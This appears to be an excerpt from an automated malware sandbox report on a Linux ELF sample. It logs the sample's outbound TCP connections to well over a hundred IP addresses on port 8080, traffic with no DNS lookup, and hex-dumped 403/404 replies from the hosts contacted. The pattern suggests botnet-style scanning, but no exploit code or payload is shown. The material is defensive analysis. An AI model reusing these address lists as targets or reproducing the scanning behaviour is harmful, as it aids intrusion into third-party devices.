    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 95.82.7.154:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 95.231.209.93:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 95.148.70.50:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 85.51.77.147:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 95.206.43.73:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 31.81.41.83:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 62.233.178.67:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 85.94.148.155:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 94.49.241.201:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 85.103.222.200:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 95.237.83.82:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 85.137.135.184:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 94.152.210.25:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 95.237.198.197:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 85.69.90.117:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 85.105.229.205:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 85.191.209.17:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 85.240.73.178:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 62.181.152.38:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 94.179.126.144:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 94.83.96.81:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 85.203.120.227:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 31.233.103.110:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 31.30.95.160:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 85.236.91.38:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 85.76.154.216:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 95.18.139.183:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 95.81.191.68:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 31.117.117.41:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 94.253.160.128:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 31.208.52.32:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 31.3.127.217:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 31.151.0.106:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 62.181.76.37:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 85.14.20.141:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 94.87.13.74:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 62.45.253.166:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 31.177.189.207:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 95.34.3.185:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 62.234.49.164:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 94.215.117.106:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 94.53.49.71:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 62.147.168.228:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 95.182.130.145:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 62.254.190.132:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 94.52.15.24:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 94.59.123.90:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 62.59.158.141:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 94.20.96.215:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 85.133.203.185:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 62.143.233.80:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 31.106.52.12:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 95.186.90.233:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 95.20.198.14:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 94.231.218.23:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 62.133.98.51:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 94.39.99.153:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 95.26.4.89:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 31.68.129.113:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 85.204.235.168:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 85.240.192.99:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 94.254.6.79:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 95.138.62.238:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 31.186.165.81:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 31.53.205.241:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 85.137.33.35:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 95.189.102.181:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 31.208.2.127:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 62.107.8.26:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 94.151.152.208:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 62.12.152.170:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 95.163.13.85:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 85.66.243.208:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 62.191.1.230:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 62.196.6.143:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 62.41.7.49:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 62.121.62.235:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 94.34.55.252:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 85.144.19.174:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 95.120.56.211:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 85.156.6.114:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 95.197.129.232:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 85.127.223.249:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 62.215.220.20:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 95.23.85.45:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 62.244.219.102:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 94.6.67.195:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 85.189.145.153:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 85.223.54.42:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 94.254.64.115:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 94.53.174.147:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 94.215.34.27:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 85.120.211.83:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 94.173.43.159:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 95.245.165.158:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 95.188.172.254:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 62.3.222.52:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 95.150.74.167:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 31.121.239.158:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 85.26.11.123:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 85.137.152.173:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 94.166.85.170:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 95.175.140.223:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 95.227.136.72:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 62.74.223.50:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 62.185.166.15:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 94.91.240.48:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 85.88.65.82:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 31.70.98.245:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 62.222.52.27:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 94.9.52.110:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 85.109.74.155:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 62.138.57.59:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 62.164.0.130:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 31.220.206.214:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 31.73.66.117:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 31.48.239.226:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 85.181.15.40:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 31.248.212.101:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 62.218.43.182:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 31.127.126.80:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 31.122.11.129:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 94.171.152.131:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 94.116.98.114:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 31.251.66.52:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 62.226.69.238:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 85.7.189.81:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 31.179.28.37:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 85.106.179.244:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 62.111.125.215:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 94.48.67.121:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 95.206.83.102:8080
    Source: global trafficTCP traffic: 192.168.2.15:64506 -> 85.132.243.1:8080
    Source: /tmp/ehzGeYz3RM.elf (PID: 5514)Socket: 0.0.0.0::0Jump to behavior
    Source: /tmp/ehzGeYz3RM.elf (PID: 5520)Socket: 0.0.0.0::0Jump to behavior
    Source: unknownDNS traffic detected: queries for: daisy.ubuntu.com
    Source: unknownTCP traffic detected without corresponding DNS query: 90.44.155.223
    Source: unknownTCP traffic detected without corresponding DNS query: 79.232.91.147
    Source: unknownTCP traffic detected without corresponding DNS query: 4.8.203.65
    Source: unknownTCP traffic detected without corresponding DNS query: 161.126.232.208
    Source: unknownTCP traffic detected without corresponding DNS query: 190.126.38.57
    Source: unknownTCP traffic detected without corresponding DNS query: 212.186.143.216
    Source: unknownTCP traffic detected without corresponding DNS query: 123.130.203.55
    Source: unknownTCP traffic detected without corresponding DNS query: 97.133.38.15
    Source: unknownTCP traffic detected without corresponding DNS query: 217.57.233.72
    Source: unknownTCP traffic detected without corresponding DNS query: 208.42.5.39
    Source: unknownTCP traffic detected without corresponding DNS query: 209.12.243.207
    Source: unknownTCP traffic detected without corresponding DNS query: 38.13.60.218
    Source: unknownTCP traffic detected without corresponding DNS query: 40.228.191.67
    Source: unknownTCP traffic detected without corresponding DNS query: 12.69.136.47
    Source: unknownTCP traffic detected without corresponding DNS query: 59.73.111.188
    Source: unknownTCP traffic detected without corresponding DNS query: 121.80.253.112
    Source: unknownTCP traffic detected without corresponding DNS query: 159.4.20.25
    Source: unknownTCP traffic detected without corresponding DNS query: 53.186.82.254
    Source: unknownTCP traffic detected without corresponding DNS query: 37.90.178.123
    Source: unknownTCP traffic detected without corresponding DNS query: 133.139.126.74
    Source: unknownTCP traffic detected without corresponding DNS query: 221.156.69.191
    Source: unknownTCP traffic detected without corresponding DNS query: 167.55.119.118
    Source: unknownTCP traffic detected without corresponding DNS query: 247.62.47.5
    Source: unknownTCP traffic detected without corresponding DNS query: 211.235.78.54
    Source: unknownTCP traffic detected without corresponding DNS query: 62.174.77.215
    Source: unknownTCP traffic detected without corresponding DNS query: 70.215.137.48
    Source: unknownTCP traffic detected without corresponding DNS query: 67.237.8.14
    Source: unknownTCP traffic detected without corresponding DNS query: 109.193.194.77
    Source: unknownTCP traffic detected without corresponding DNS query: 157.181.32.250
    Source: unknownTCP traffic detected without corresponding DNS query: 60.207.182.115
    Source: unknownTCP traffic detected without corresponding DNS query: 200.206.166.148
    Source: unknownTCP traffic detected without corresponding DNS query: 119.191.88.71
    Source: unknownTCP traffic detected without corresponding DNS query: 159.167.124.113
    Source: unknownTCP traffic detected without corresponding DNS query: 206.203.79.141
    Source: unknownTCP traffic detected without corresponding DNS query: 62.219.244.185
    Source: unknownTCP traffic detected without corresponding DNS query: 168.117.32.215
    Source: unknownTCP traffic detected without corresponding DNS query: 165.78.14.129
    Source: unknownTCP traffic detected without corresponding DNS query: 104.226.164.103
    Source: unknownTCP traffic detected without corresponding DNS query: 48.75.55.87
    Source: unknownTCP traffic detected without corresponding DNS query: 86.83.154.66
    Source: unknownTCP traffic detected without corresponding DNS query: 117.51.235.241
    Source: unknownTCP traffic detected without corresponding DNS query: 217.72.72.9
    Source: unknownTCP traffic detected without corresponding DNS query: 170.229.8.249
    Source: unknownTCP traffic detected without corresponding DNS query: 18.8.1.132
    Source: unknownTCP traffic detected without corresponding DNS query: 88.86.87.160
    Source: unknownTCP traffic detected without corresponding DNS query: 81.1.239.63
    Source: unknownTCP traffic detected without corresponding DNS query: 8.126.25.221
    Source: unknownTCP traffic detected without corresponding DNS query: 82.99.39.153
    Source: unknownTCP traffic detected without corresponding DNS query: 115.29.184.66
    Source: unknownTCP traffic detected without corresponding DNS query: 157.247.178.129
    Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnlyConnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 31 Mar 1970 03:04:25 GMTServer: DNVRS-WebsCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: Apache-Coyote/1.1Content-Type: text/html;charset=utf-8Content-Language: enTransfer-Encoding: chunkedContent-Encoding: gzipVary: Accept-EncodingDate: Thu, 23 Nov 2023 04:19:56 GMTData Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 00 0d 0a 31 38 31 0d 0a b5 93 5d 4f c2 30 14 86 ff 4a c5 5b ba 31 3e 24 81 da 04 83 09 17 26 12 5d 4c bc 3c db 0e ac 71 5b 67 db 89 48 f8 ef 96 95 af 04 12 35 91 ab 9e 9c 9e f3 f4 6d fb 1e 96 9a 3c e3 2c 45 48 38 33 c2 64 c8 47 25 c4 29 92 50 e6 31 18 bf ef b5 bc 7e 9f 50 72 af 94 54 44 61 29 95 61 be 2b 65 da 2c 37 cb 15 a5 93 80 ac 66 b2 30 74 06 b9 c8 96 83 10 52 99 43 73 a4 04 64 4d 0d 85 a6 1a 95 98 0d 63 99 49 35 58 a4 c2 e0 30 82 f8 6d ae 64 55 24 d4 a5 af 7b ed de b8 7f 33 ac 41 5a 7c e1 a0 dd 2e 3f 87 6b 32 69 5f 84 1e dc 38 7a e7 32 f4 6e 4d bf 7b 1c bf fe 85 1f 65 16 7d ca 77 c7 5a dc 3f 6a 5d 93 e9 ef 68 07 c2 16 79 2c f5 e8 c6 f5 6f 8d c8 aa de 26 03 e2 0a d6 23 af 80 1c 4f d2 93 a7 43 6a 2f 89 52 ce 7c e7 2b c2 7c 67 cc 48 26 4b 6b d2 80 4f c2 70 4a 9e 0d 98 4a 93 6e ab 6b 6d e9 c7 73 41 23 51 f8 2f 02 17 0f 72 ee 81 2e 6d 5b c0 99 a5 6f 44 dd 36 82 06 29 a4 4e 21 b1 f1 36 68 70 56 5a 2c 37 cb 12 99 1f f1 1d 73 67 ef 72 bb 9f a3 d6 30 77 25 ac e2 e7 0f ab f8 a1 21 41 1d 2b 51 1a 21 8b 5d 53 68 87 49 e1 7b 85 da 60 62 23 2d 2b 15 23 11 da aa 32 04 3e 40 64 10 65 e8 ed 41 3f 08 4f 3b 67 47 d4 5e ba 63 fb dd 53 f9 f5 58 7f 03 cf 33 11 29 dd 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a181]O0J[1>$&]L<q[gH5m<,EH83dG%)P1~PrTDa)a+e,7f0tRCsdMcI5X0mdU${3AZ|.?k2i_8z2nM{e}wZ?j]hy,o&#OCj/R|+|gH&KkOpJJnkmsA#Q/r.m[oD6)N!6hpVZ,7sgr0w%!A+Q!]ShI{`b#-+#2>@deA?O;gG^cSX3)0
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Nov 2023 06:19:57 GMTServer: WebsX-Frame-Options: SAMEORIGINCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Nov 2023 07:22:11 GMTServer: webCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Thu, 23 Nov 2023 04:20:11 GMTContent-Length: 19Connection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
    Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnlyConnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnlyConnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0Date: Thu, 23 Nov 2023 04:20:18 GMTContent-Type: text/htmlContent-Length: 169Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0</center></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not Foundserver: owsdcontent-type: text/htmlcontent-length: 38Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404</h1></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Nov 2023 05:20:32 GMTServer: TruVisionCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99X-FRAME-OPTIONS: SAMEORIGINData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Nov 2023 04:20:29 GMTConnection: Close
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 23 Nov 2023 04:20:36 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0Date: Thu, 23 Nov 2023 04:20:43 GMTContent-Type: text/htmlContent-Length: 169Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0</center></body></html>
